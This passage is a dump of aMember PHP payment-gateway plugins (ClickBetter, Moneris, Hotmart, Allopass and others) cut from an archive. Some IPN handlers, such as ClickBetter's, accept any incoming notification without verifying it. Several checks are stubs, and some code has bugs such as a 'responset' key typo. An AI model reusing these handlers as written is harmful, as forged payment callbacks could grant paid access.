sprintf('[%s]', http_build_query($arrItems)), 'AutoChargeAccount' => 'false' )); $this->logRequest($req); $resp = $req->send(); $this->logResponse($resp); if ($resp->getStatus() != 200) { $result->setFailed('Incorrect HTTP response status: ' . $resp->getStatus()); return; } parse_str($resp->getBody(), $tmp); parse_str($tmp['response'], $params); if ($params['m_Code'] != 'NO_ERROR') { $result->setFailed($params['m_Text']); return; } //login and redirect $req = new Am_HttpRequest($this->url(), Am_HttpRequest::METHOD_POST); $req->addPostParameter(array( 'fn' => 'eWallet_RequestUserAutoLogin', 'MerchantGUID' => $this->getConfig('MerchantGUID'), 'MerchantPassword' => $this->getConfig('MerchantPassword'), 'UserName' => $user->login )); $this->logRequest($req); $resp = $req->send(); $this->logResponse($resp); if ($resp->getStatus() != 200) { $result->setFailed('Incorrect HTTP response status: ' . $resp->getStatus()); return; } parse_str($resp->getBody(), $tmp); parse_str($tmp['responset'], $params); if ($params['m_Code'] != 'NO_ERROR') { $result->setFailed($params['m_Text']); return; } $a = new Am_Paysystem_Action_Redirect($this->urlLogin()); $a->secKey = $params['m_ProcessorTransactionRefNumber']; $result->setAction($a); } function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if ($request->getActionName() == 'ipn') { echo 'OK'; } return parent::directAction($request, $response, $invokeArgs); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_IPayout($this, $request, $response, $invokeArgs); } function url() { return $this->getConfig('testing') ? 'https://www.testewallet.com/eWalletWS/ws_Adapter.aspx' : 'https://www.i-payout.net/eWalletWS/ws_Adapter.aspx'; } function urlLogin() { return sprintf($this->getConfig('testing') ? 'https://%s.testewallet.com/MemberLogin.aspx' : 'https://%s.globalewallet.com/MemberLogin.aspx', $this->getConfig('merchant')); } function hash($trnx_id, $log_id) { return strtoupper(sha1($trnx_id . $log_id . $this->getConfig('MerchantGUID') . $this->getConfig('MerchantPassword'))); } function getReadme() { $url = $this->getPluginUrl('ipn'); return <<Merchant Notify URL to: $url To do it you need to login into eWallet Management Console and set it up on System Overview page in the eWallet Setup section. CUT; } } class Am_Paysystem_Transaction_IPayout extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { return $this->request->get('log_id'); } public function findInvoiceId() { return $this->request->get('trnx_id'); } public function validateSource() { return $this->plugin->hash($this->request->get('trnx_id'), $this->request->get('log_id')) == $this->request->get('hash'); } public function validateStatus() { return $this->request->get('status_id') == 'settled'; } public function validateTerms() { return true; } } PK\iipayment/thrive-cart.phpnu[paysystemList->getList() as $k => $p) { if ($p->getId() == $this->getId()) $p->setPublic(false); } $di->billingPlanTable->customFields()->add( new Am_CustomFieldText('thrive_cart_product_id', "Thrive Cart product ID", "for example product-1, upsell-3 or downsell-7")); } function getConfig($key = null, $default = null) { switch ($key) { case 'testing' : return false; case 'auto_create' : return true; default: return parent::getConfig($key, $default); } } protected function _afterInitSetupForm(Am_Form_Setup $form) { parent::_afterInitSetupForm($form); $form->removeElementByName($this->_configPrefix . $this->getId() . '.auto_create'); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText("secret", array('class'=>'el-wide')) ->setLabel("Thrive Cart Secret Word\n" . "it can be found at Settings -> ThriveCart API"); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { // Nothing to do. } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_ThriveCart($this, $request, $response, $invokeArgs); } public function canAutoCreate() { return true; } public function getReadme() { $url = Am_Html::escape($this->getPluginUrl('ipn')); return <<Thrive Cart integration Set up notification url for your Thrive Cart to: $url CUT; } } class Am_Paysystem_Transaction_ThriveCart extends Am_Paysystem_Transaction_Incoming { function generateUserExternalId(array $userInfo) { $customer = $this->request->get('customer'); return $customer['email']; } public function generateInvoiceExternalId() { $this->request->get('order_id'); } public function fetchUserInfo() { $customer = $this->request->get('customer'); return array( 'name_f' => $customer['first_name'], 'name_l' => $customer['last_name'], 'email' => $customer['email'], 'country' => $customer['email']['address']['country'], ); } public function recur($pref, $k, $v) { if(is_array($v)) foreach($v as $k_ => $v_) $this->recur(($pref ? $pref.'_' : '').$k_, $k_, $v_); else { $this->request->set($pref, $v); } } public function autoCreateGetProducts() { $item_name = $this->request->get('purchase_map_flat'); if (empty($item_name)) return; $products = array(); foreach (explode(',', $item_name) as $pid) { if(!($pl = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('thrive_cart_product_id', $pid))) continue; if($p = $pl->getProduct()) $products[] = $p; } return $products; } public function getReceiptId() { return $this->request->get('order_id'); } public function getAmount() { return moneyRound($this->request->get('order_total')); } public function getUniqId() { return $this->request->get('order_id'); } public function validateSource() { return $this->request->get('thrivecart_secret') == $this->getPlugin()->getConfig('secret'); } public function validateStatus() { return true; } public function validateTerms() { return true; } public function processValidated() { $this->invoice->addPayment($this); } public function findInvoiceId() { //nothing } }PK\i*payment/cashenvoy/cashenvoy.phpnu[addInteger('merchant_id', array('size' => 20)) ->setLabel('Your Merchant ID#'); $form->addAdvCheckbox('testing')->setLabel('Test Mode'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_HtmlTemplate_Cashenvoy($this->getDir(), 'confirm.phtml'); $a->url = $this->getConfig('testing') ? self::SANDBOX_PAY_URL : self::LIVE_PAY_URL; $a->ce_merchantid = $this->config['merchant_id']; $a->ce_transref = 'CSHNV' . $invoice->public_id; $a->ce_amount = $invoice->first_total; $a->ce_customerid = $invoice->getUser()->email; $a->ce_memo = $invoice->getLineDescription(); $a->ce_notifyurl = $this->getPluginUrl('thanks'); $a->ce_window = 'parent'; $a->invoice = $invoice; $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { //do nothing } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Cashenvoy_Thanks($this, $request, $response, $invokeArgs); } public function getSupportedCurrencies() { return array('NGN','USD'); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } } class Am_Paysystem_Transaction_Cashenvoy_Thanks extends Am_Paysystem_Transaction_Incoming_Thanks { protected $vars; public function getUniqId() { return $this->request->getFiltered("ce_transref").$this->request->getFiltered("ce_response"); } public function validateSource() { $request = new Am_HttpRequest($this->getPlugin()->getConfig('testing') ? Am_Paysystem_Cashenvoy::SANDBOX_STATUS_URL : Am_Paysystem_Cashenvoy::LIVE_STATUS_URL, Am_HttpRequest::METHOD_POST); $request->addPostParameter(array( 'mertid' => $this->getPlugin()->getConfig('merchant_id'), 'transref' => $this->request->getFiltered("ce_transref"), 'respformat' => 'json' )); $response = $request->send(); $this->vars = json_decode($response->getBody(), true); $this->log->add($this->vars); return true; } public function validateStatus() { if($this->vars['TransactionStatus'] == 'C00') return true; $errors = array( 'C01' => 'User cancellation.', 'C02' => 'User cancellation by inactivity.', 'C03' => 'No transaction record.', 'C04' => 'Insufficient funds.', 'C05' => 'Transaction failed. Contact support@cashenvoy.com for more information.'); throw new Am_Exception_QuietError($errors[$this->vars['TransactionStatus']].'/'.$this->request->getFiltered("ce_transref")); } public function validateTerms() { return doubleval($this->request->get("ce_amount")) == doubleval($this->invoice->first_total); } public function findInvoiceId() { return substr($this->request->getFiltered("ce_transref"),5); } } class Am_Paysystem_Action_HtmlTemplate_Cashenvoy extends Am_Paysystem_Action_HtmlTemplate { protected $_template; protected $_path; public function __construct($path, $template) { $this->_template = $template; $this->_path = $path; } public function process(Am_Mvc_Controller $action = null) { $action->view->addBasePath($this->_path); $action->view->assign($this->getVars()); $action->renderScript($this->_template); throw new Am_Exception_Redirect; } } PK\7w'payment/cashenvoy/scripts/confirm.phtmlnu[setLayout('layout.phtml'); ?>
    _script('_receipt.phtml'); ?>

    PK\`zpayment/clickbetter.phpnu[billingPlanTable->customFields()->add( new Am_CustomFieldText( 'clickbetter_prod_item', "ClickBetter product number", "" , array(/* ,'required' */) )); } function getConfig($key = null, $default = null) { switch ($key) { case 'testing' : return false; case 'auto_create' : return true; default: return parent::getConfig($key, $default); } } protected function _afterInitSetupForm(Am_Form_Setup $form) { parent::_afterInitSetupForm($form); $form->removeElementByName($this->_configPrefix . $this->getId() . '.auto_create'); } public function _initSetupForm(Am_Form_Setup $form) { } public function getRecurringType() { return self::REPORTS_REBILL; } function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect('https://clickbetter.com/pay/'.$invoice->getItem(0)->getBillingPlanData('clickbetter_prod_item')); $result->setAction($a); $a->api = 'yes'; $a->custom1 = $invoice->public_id; $a->first_name = $invoice->getFirstName(); $a->last_name = $invoice->getLastName(); $a->email = $invoice->getEmail(); $a->city = $invoice->getCity(); $a->address = $invoice->getStreet(); $a->phone_no = $invoice->getPhone(); if($country = $invoice->getCountry()) { if(!($country3 = $this->getDi()->db->selectCell("SELECT alpha3 FROM ?_country WHERE country=?", $country))) $country3 = $country; } else $country3 = ''; $a->country = $country3; $a->state = $invoice->getState(); $a->zipcode = $invoice->getZip(); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Clickbetter($this, $request, $response, $invokeArgs); } public function canAutoCreate() { return true; } public function getReadme() { $url = $this->getPluginUrl('ipn'); return <<ClickBetter integration 1. Login to your ClickBetter account. 2. Click on “MyProducts” OR “Sell” tab and then clickon API tab. 3. Set IPN URL field to $url 4. Click on UPDATE IPN URL button! 5. Set IPN URL for refund field to $url 6. Click on UPDATE IPN URL FOR REFUND button! 7. Edit your products in Amember and set up "ClickBetter product number" CUT; } } class Am_Paysystem_Transaction_Clickbetter extends Am_Paysystem_Transaction_Incoming { // payment const SALE = "sale"; const REBILL = "rebill"; // refund const REFUND = "refund"; protected $_autoCreateMap = array( 'name_f' => 'firstName', 'name_l' => 'lastName', 'email' => 'customeremail', 'phone' => 'phone', 'city' => 'city', 'zip' => 'zipcode', 'street' => 'address', 'user_external_id' => 'customeremail', 'invoice_external_id' => 'orderid', ); public function fetchUserInfo() { $countryRecord = Am_Di::getInstance()->countryTable->findFirstBy(array('country' => $this->request->get('country'))); if(!$countryRecord) $countryRecord = Am_Di::getInstance()->countryTable->findFirstBy(array('alpha3' => $this->request->get('country'))); if ($countryRecord && $countryRecord->isLoaded()) { $country = $countryRecord->country; $stateRecord = Am_Di::getInstance()->stateTable->findFirstBy( array( 'country' => $countryRecord->country, 'state' => $this->request->get('state') )); if(!$stateRecord) $stateRecord = Am_Di::getInstance()->stateTable->findFirstBy( array( 'country' => $countryRecord->country, 'state' => $countryRecord->country .'-'. $this->request->get('state'), )); if ($stateRecord && $stateRecord->isLoaded()) $state = $stateRecord->state; else $state = $this->request->get('state'); } else { $country = $this->request->get('country'); $state = $this->request->get('state'); } return array_merge(parent::fetchUserInfo(), array( 'country' => $country, 'state' => $state, )); } public function autoCreateGetProducts() { $item_name = $this->request->get('productid'); if (empty($item_name)) return; $billing_plan = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('clickbetter_prod_item', $item_name); if ($billing_plan) return array($billing_plan->getProduct()); } public function getReceiptId() { return $this->getOrderid(); } public function getAmount() { return moneyRound($this->request->get('amount')); } public function getUniqId() { return @$this->getOrderid(); } public function getOrderid() { return $this->request->get('orderid', preg_replace("/[^0-9]/", '', $this->request->get('testmode'))); } public function validateSource() { return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } public function processValidated() { $vars = $this->request->isPost() ? $this->request->getPost() : $this->request->getQuery(); switch ($vars['type']) { //payment case Am_Paysystem_Transaction_Clickbetter::SALE: $this->invoice->addPayment($this); break; //refund case Am_Paysystem_Transaction_Clickbetter::REFUND: $this->invoice->addRefund($this, Am_Di::getInstance()->invoicePaymentTable->getLastReceiptId($this->invoice->pk())); break; //cancel case Am_Paysystem_Transaction_Clickbetter::REBILL: if($this->request->get('paystatus') == 'cancelled') $this->invoice->setCancelled(true); else $this->invoice->addPayment($this); break; } } public function findInvoiceId() { return $this->request->getFiltered('custom1'); } }PK\M#(55payment/checkout/checkout.phpnu[_template = $template; $this->_path = $path; } public function process(Am_Mvc_Controller $action = null) { $action->view->addBasePath($this->_path); $action->view->assign($this->getVars()); $action->renderScript($this->_template); throw new Am_Exception_Redirect; } } class Am_Paysystem_Checkout extends Am_Paysystem_Abstract { const PLUGIN_STATUS = self::STATUS_BETA; const PLUGIN_REVISION = '5.2.2'; protected $defaultTitle = 'Checkout'; protected $defaultDescription = 'electronic payments'; const URL = 'https://payment.checkout.fi'; const LOG_PREFIX_ERROR = '[Checkout Payment ERROR]. '; protected static $coMapOut = array( 'VERSION', 'STAMP', 'AMOUNT', 'REFERENCE', 'MESSAGE', 'LANGUAGE', 'MERCHANT', 'RETURN', 'CANCEL', 'REJECT', 'DELAYED', 'COUNTRY', 'CURRENCY', 'DEVICE', 'CONTENT', 'TYPE', 'ALGORITHM', 'DELIVERY_DATE', 'FIRSTNAME', 'FAMILYNAME', 'ADDRESS', 'POSTCODE', 'POSTOFFICE' ); public static $coMapIn = array( 'VERSION', 'STAMP', 'REFERENCE', 'PAYMENT', 'STATUS', 'ALGORITHM' ); public function supportsCancelPage() { return true; } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('merchant_id') ->setLabel('Checkout Merchant') ->addRule('required'); $form->addText('security_key') ->setLabel('Checkout Security Key') ->addRule('required'); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getSupportedCurrencies() { return array('EUR'); } function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $user = $invoice->getUser(); $data = array( 'VERSION' => "0001", 'STAMP' => $invoice->public_id . '-' . $this->getDi()->time, 'AMOUNT' => $invoice->first_total * 100, 'REFERENCE' => $invoice->public_id, 'MESSAGE' => $invoice->getLineDescription(), 'LANGUAGE' => "FI", 'MERCHANT' => $this->getConfig('merchant_id'), 'RETURN' => $this->getPluginUrl('thanks'), 'CANCEL' => $this->getCancelUrl(), 'REJECT' => "", 'DELAYED' => "", 'COUNTRY' => "FIN", 'CURRENCY' => "EUR", 'DEVICE' => "10", 'CONTENT' => "1", 'TYPE' => "0", 'ALGORITHM' => "1", 'DELIVERY_DATE' => date("Ymd"), 'FIRSTNAME' => $user->name_f, 'FAMILYNAME' => $user->name_l, 'ADDRESS' => $user->street . ($user->street2 ? '; ' . $user->street2 : ''), 'POSTCODE' => $user->zip, 'POSTOFFICE' => "", ); $data['MAC'] = $this->getMac(self::$coMapOut, $data); $req = new Am_HttpRequest(self::URL, Am_HttpRequest::METHOD_POST); $req->addPostParameter($data); $this->logRequest($data); $res = $req->send(); if ($res->getStatus() != '200') throw new Am_Exception_InternalError(self::LOG_PREFIX_ERROR . "[_process()] - bad status of server response [{$res->getStatus()}]"); if (!($body=$res->getBody())) throw new Am_Exception_InternalError(self::LOG_PREFIX_ERROR . "[_process()] - server return null"); $this->logResponse($body); if(!($xml = simplexml_load_string($body))) throw new Am_Exception_InternalError(self::LOG_PREFIX_ERROR . "[_process()] - server return bad xml"); $a = new Am_Paysystem_Action_HtmlTemplate_Checkout($this->getDir(), 'payment-checkout-redirect.phtml'); $a->xml = $xml; $result->setAction($a); } public function getMac($map, $data) { $mac = ''; foreach ($map as $key) { $mac .= $data[$key] . '+'; } $mac .= $this->getConfig('security_key'); return strtoupper(md5($mac)); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Checkout($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Checkout($this, $request, $response, $invokeArgs); } function getReadme() { return <<Checkout Payment Plugin This plugin allows you to use Checkout payment sevice for payment. You have to register for an account at http://checkout.fi/ to use this plugin. This plugin does not support recurring payment. For test you can use next data: Seller's identity (Merchant): 375917 Security key: SAIPPUAKAUPPIAS CUT; } } class Am_Paysystem_Transaction_Checkout extends Am_Paysystem_Transaction_Incoming { public function validateSource() { $mac = $this->getPlugin()->getMac(Am_Paysystem_Checkout::$coMapIn, $this->request->getParams()); return $mac == $this->request->getFiltered('MAC'); } public function findInvoiceId() { return $this->request->getFiltered('REFERENCE'); } public function validateTerms() { return true; } public function validateStatus() { $status = $this->request->getFiltered('STATUS'); if(in_array($status, array(2, 4, 5, 6, 7, 8, 9, 10))) return true; } public function getUniqId() { return $this->request->getFiltered('PAYMENT'); } }PK\naWW8payment/checkout/scripts/payment-checkout-redirect.phtmlnu[setLayout('layout.phtml'); ?> payments->payment->banks as $bankX):?>
    ' method='post'> $value):?> '>
    PK\F&&payment/moneris.phpnu[addText("ps_store_id")->setLabel("Merchant ps_store_id\n" . 'Provided by Moneris Solutions – Hosted Paypage Configuration Tool. ' . 'Identifies the configuration for the Hosted Paypage.'); $form->addText("hpp_key")->setLabel("Merchant hpp_key\n" . 'Provided by Moneris Solutions – Hosted Paypage Configuration Tool. ' . 'This is a security key that corresponds to the ps_store_id.'); $form->addAdvCheckbox('testing')->setLabel('Test Mode'); } function getSupportedCurrencies() { return array('CAD', 'USD'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $u = $invoice->getUser(); $a = new Am_Paysystem_Action_Redirect($this->getConfig('testing') ? self::SANDBOX_URL : self::LIVE_URL); $a->ps_store_id = $this->getConfig('ps_store_id'); $a->hpp_key = $this->getConfig('hpp_key'); $a->charge_total = sprintf('%.2f', $invoice->first_total); $a->cust_id = $invoice->public_id; $a->email = $u->email; $a->shipping_cost = sprintf('%.2f', $invoice->first_shipping); $i = 1; foreach ($invoice->getItems() as $item) { $a->{'id' . $i} = $item->item_id; $a->{'description' . $i} = $item->item_title; $a->{'quantity' . $i} = $item->qty; $a->{'price' . $i} = $item->first_price; $a->{'subtotal' . $i} = $item->first_total; $i++; } $a->bill_first_name = $u->name_f; $a->bill_last_name = $u->name_l; $a->bill_address_one = $u->street; $a->bill_city = $u->city; $a->bill_state_or_province = $u->state; $a->bill_postal_code = $u->zip; $a->bill_country = $u->country; if ($invoice->second_total > 0) { $periods = array('m' => 'month', 'y' => 'year', 'd' => 'day', 'w' => 'week'); $second_period = new Am_Period($invoice->second_period); $a->recurUnit = $periods[$second_period->getUnit()]; $a->recurPeriod = $second_period->getCount(); $a->recurStartNow = ($invoice->first_total > 0) ? 'true' : 'false'; $a->doRecur = 1; $a->recurStartDate = date('Y/m/d', strtotime($invoice->calculateRebillDate(1))); $a->recurAmount = sprintf('%.2f', $invoice->second_total); $a->recurNum = $invoice->rebill_times; } $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Moneris($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Moneris_Thanks($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } function getReadme() { return <<Moneris payment plugin configuration CONFIGURATION OF ACCOUNT 1. Login into your Moneris account. 2. Once you have successfully logged in, click on the “ADMIN” menu item on the left and then in the submenu that appears click on “HOSTED CONFIG”. 3. Set Response method to Sent to your server as a POST Approved URL to %root_surl%/payment/moneris/thanks Declined URL to %root_surl%/cancel 4. Click on "Configure Response Fields". 5. Enable "Return other customer fields. (cust_id, client_email, note . . .)". Enable "Perform asynchronous data post.". Set "Async Response URL" to %root_surl%/payment/moneris/ipn CUT; } } class Am_Paysystem_Transaction_Moneris_Thanks extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { return $this->request->get('cust_id'); } public function getUniqId() { return $this->request->get('bank_transaction_id'); } public function validateSource() { return true; } public function validateStatus() { return intval($this->request->get('response_code')) < 50; } public function validateTerms() { return $this->request->get('charge_total') == $this->invoice->first_total; } public function getInvoice() { return $this->invoice; } public function processValidated() { parent::processValidated(); if ($this->invoice->status == Invoice::RECURRING_ACTIVE) $this->invoice->extendAccessPeriod(Am_Period::RECURRING_SQL_DATE); } } class Am_Paysystem_Transaction_Moneris extends Am_Paysystem_Transaction_Incoming { protected $xml; public function __construct(Am_Paysystem_Abstract $plugin, Am_Mvc_Request $request, Am_Mvc_Response $response, $invokeArgs) { $this->xml = simplexml_load_string($request->get('xml_response')); parent::__construct($plugin, $request, $response, $invokeArgs); } public function findInvoiceId() { return $this->xml->od_other->cust_id; } public function getUniqId() { return $this->xml->bank_transaction_id; } public function validateSource() { if (!$this->xml) return false; return true; } public function validateStatus() { return (intval($this->xml->response_code) < 50 && strtolower($this->xml->response_code) != 'null'); } public function validateTerms() { return $this->xml->charge_total == ($this->invoice->isFirstPayment() ? $this->invoice->first_total : $this->invoice->second_total); } public function processValidated() { parent::processValidated(); if ($this->invoice->status == Invoice::RECURRING_ACTIVE) $this->invoice->extendAccessPeriod(Am_Period::RECURRING_SQL_DATE); } }PK\payment/hotmart.phpnu[addText('token', array('size' => 40)) ->setLabel('Your Access Token') ->addRule('required'); } public function __construct(Am_Di $di, array $config) { parent::__construct($di, $config); foreach ($di->paysystemList->getList() as $k => $p) { if ($p->getId() == $this->getId()) $p->setPublic(false); } $di->billingPlanTable->customFields()->add( new Am_CustomFieldText( 'hotmart_id', "Hotmart Product#", "" , array(/* ,'required' */) )); } function getConfig($key = null, $default = null) { switch ($key) { case 'testing' : return false; case 'auto_create' : return true; default: return parent::getConfig($key, $default); } } protected function _afterInitSetupForm(Am_Form_Setup $form) { parent::_afterInitSetupForm($form); $form->removeElementByName($this->_configPrefix . $this->getId() . '.auto_create'); } public function isConfigured() { return strlen($this->getConfig('token', '')); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Hotmart($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } public function isNotAcceptableForInvoice(Invoice $invoice) { return; } public function canAutoCreate() { return true; } public function getReadme() { $url = $this->getPluginUrl('ipn'); return <<$url CUT; } } class Am_Paysystem_Transaction_Hotmart extends Am_Paysystem_Transaction_Incoming { // payment const APPROVED = "approved"; // refund const REFUNDED = "refunded"; protected $_autoCreateMap = array( 'name_f' => 'first_name', 'name_l' => 'last_name', 'email' => 'email', 'city' => 'address_city', 'zip' => 'address_zip_code', 'state' => 'address_state', 'country' => 'address_country', 'user_external_id' => 'email', 'invoice_external_id' => 'transaction', ); public function autoCreateGetProducts() { $item_name = $this->request->get('prod'); if (empty($item_name)) return; $billing_plan = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('hotmart_id', $item_name); if ($billing_plan) return array($billing_plan->getProduct()); } public function getReceiptId() { return $this->request->get('transaction'); } public function getAmount() { return moneyRound($this->request->get('price')); } public function getUniqId() { return @$this->request->get('transaction'); } public function validateSource() { return $this->request->get('hottok') == $this->getPlugin()->getConfig('token'); } public function validateStatus() { return true; } public function validateTerms() { return true; } public function processValidated() { switch ($this->request->get('status')) { //payment case Am_Paysystem_Transaction_Hotmart::APPROVED: $this->invoice->addPayment($this); break; //refund case Am_Paysystem_Transaction_Hotmart::REFUNDED: $this->invoice->addRefund($this, Am_Di::getInstance()->invoicePaymentTable->getLastReceiptId($this->invoice->pk())); break; } } public function findInvoiceId() { return $this->request->get('transaction'); } } PK\kXyUFUFpayment/allopass/allopass.phpnu[addText('site_id') ->setLabel("Site ID\n" . 'Identifier of the merchant site'); $form->addText('api_key') ->setLabel("API Key\n" . 'This keyset is available under My Profile in the Allopass merchant account.'); $form->addText('api_secret_key') ->setLabel("API Secret Key\n" . 'This keyset is available under My Profile in the Allopass merchant account.'); $form->addAdvCheckbox('testing') ->setLabel('Test Mode'); } public function getSupportedCurrencies() { return array('EUR', 'GBP', 'USD'); } function getHash($queryParameters = array()) { ksort($queryParameters); $stringToHash = ''; foreach ($queryParameters as $parameter => $value) { $stringToHash .= $parameter . (is_array($value) ? implode('', $value) : $value); } $stringToHash .= $this->getConfig('api_secret_key'); $signature = hash(self::API_HASH_FUNCTION, $stringToHash); return $signature; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { date_default_timezone_set('UTC'); $params = array( 'api_hash' => self::API_HASH_FUNCTION, 'api_ts' => time(), 'api_key' => $this->getConfig('api_key'), 'format' => self::RESPONSE_FORMAT, 'site_id' => $this->getConfig('site_id'), // Identifier of the merchant site. 'product_name' => $invoice->getLineDescription(), // Product name. 'forward_url' => $this->getReturnUrl(), // URL of the page where customers are forwarded when an access code //has been successfully redeemed or when a payment without code was successful. 'forward_target' => 'parent', // Specifies where to open the forward and error URL. Allowed values are: // parent – uses the parent window (default) // current – uses the current window (recommended if the payment dialog is loaded into an iframe) 'price_mode' => 'price', // Defines what "amount" refers to. Currently, only end-user price is supported ("price") 'error_url' => $this->getCancelUrl(), // URL of the page where customers are forwarded if a transaction is denied. 'notification_url' => $this->getPluginUrl('ipn'), // Payment notification URL 'amount' => $invoice->first_total, // Amount of the transaction. The currency is determined by the price point identifier. 'price_policy' => 'nearest', // Affects sorting and prioritization of retrieved price points. Given an amount: // high-preferred – First retrieves and presents those higher than amount, then those below // high-only – Only returns price points above the defined amount // low-preferred – First retrieves and presents those lower than amount, then those higher // low-only – Only returns price points below the defined amount // nearest – Pricepoints are sorted and listed by the absolute value difference to amount 'reference_currency' => $invoice->currency, // Base currency (EUR is default) 'merchant_transaction_id' => $invoice->public_id, // Identifier of the transaction 'data' => $invoice->public_id // Custom data ); /* require_once(dirname(__FILE__).'/apikit/api/AllopassAPI.php'); $conf_xml = ' ' . $this->getConfig('api_key') . ' ' . $this->getConfig('api_secret_key') . ' ' . self::API_HASH_FUNCTION . ' ' . self::RESPONSE_FORMAT . ' 30 http 80 api.allopass.com '; $Allopas = new AllopassAPI($conf_xml); // use $configurationEmailAccount variable $Button = $Allopas->createButton($params); $BuyUrl = $Button->getBuyUrl(); */ /**/ ksort($params); $hash = $this->getHash($params); $params['api_sig'] = $hash; $request = new Am_Paysystem_Allopass_Request(self::RESPONSE_FORMAT, self::API_HASH_FUNCTION, $this->getConfig('api_secret_key')); $request->makeRequest(self::API_BASE_URL . '/onetime/button', http_build_query($params, '', '&')); $BuyUrl = $request->getResponse()->buy_url; /**/ if ($request->isResponseValidated() && $request->httpStatusCode == '200') { $a = new Am_Paysystem_Action_Redirect($BuyUrl); $result->setAction($a); } else { throw new Am_Exception_Paysystem_TransactionSource('Validation failed. Status code: [' . $request->httpStatusCode . '] Error code: [' . $request->code . '] Message: [' . $request->message . ']'); } } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Allopass($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getReadme(){ return <<Allopass plugin installation - Configure plugin at aMember CP -> Setup/Configuration -> Allopass - Run a test transaction to ensure everything is working correctly. CUT; } } class Am_Paysystem_Transaction_Allopass extends Am_Paysystem_Transaction_Incoming{ function verifySignature($parameters = array()) { $api_hash = $parameters['api_hash'] ? $parameters['api_hash'] : Am_Paysystem_Allopass::API_HASH_FUNCTION; $signature = $parameters['api_sig']; unset($parameters['api_sig']); ksort($parameters); $string2compute = ''; foreach ($parameters as $name => $value) $string2compute .= $name . $value; return (hash($api_hash, $string2compute . $this->getPlugin()->getConfig('api_secret_key')) == $signature); } public function getUniqId() { return $this->request->get("transaction_id"); } public function findInvoiceId() { return $this->request->get("merchant_transaction_id"); } public function validateSource() { $vars = $this->request->getQuery(); $verified = $this->verifySignature($vars); if(!$verified) throw new Am_Exception_Paysystem_TransactionSource('Received security hash is not correct'); return true; } public function validateStatus() { if($this->request->get('test') == 'true' && !$this->getPlugin()->getConfig('testing')){ throw new Am_Exception_Paysystem_TransactionInvalid('Test IPN received by test mode is not enabled'); } return ($this->request->get('status') == '0'); //0 - Success - Payment accepted } public function validateTerms() { /** * @todo Add real validation here; Need to check variables that will be sent from Allopass. */ return true; } public function getAmount() { return $this->request->get('amount'); } public function processValidated() { $this->invoice->addPayment($this); // Merchants may return an XML response to Allopass so as to explicitly acknowledge that the notification was successfully processed. // The Notification Response is optional but recommended. In the absence of a response from the merchant, Allopass will interpret an HTTP 200 return code as a success. // A response status of 0 is a failure, 1 is a success. After a failure, Allopass will attempt 4 more times. header('Content-Type: text/xml; charset=UTF-8'); echo ' 123 OK '; exit; } } class Am_Paysystem_Transaction_Allopass_Thanks extends Am_Paysystem_Transaction_Incoming_Thanks { public function findInvoiceId() { return $this->request->get("merchant_transaction_id"); } public function getUniqId() { return $this->request->get("transaction_id"); } public function validateStatus() { return true; } public function validateTerms() { return true; } public function validateSource() { //After a successful payment the Forward URL passes GET parameters that you can collect and use to query the /transaction for verification. date_default_timezone_set('UTC'); $params = array( 'id' => $this->getUniqId(), // Transaction Identifier 'api_hash' => Am_Paysystem_Allopass::API_HASH_FUNCTION, 'api_ts' => time(), 'api_key' => $this->getPlugin()->getConfig('api_key'), 'format' => Am_Paysystem_Allopass::RESPONSE_FORMAT ); /* require_once(dirname(__FILE__).'/apikit/api/AllopassAPI.php'); $conf_xml = ' ' . $this->getPlugin()->getConfig('api_key') . ' ' . $this->getPlugin()->getConfig('api_secret_key') . ' ' . Am_Paysystem_Allopass::API_HASH_FUNCTION . ' ' . Am_Paysystem_Allopass::RESPONSE_FORMAT . ' 30 http 80 api.allopass.com '; $Allopas = new AllopassAPI($conf_xml); // use 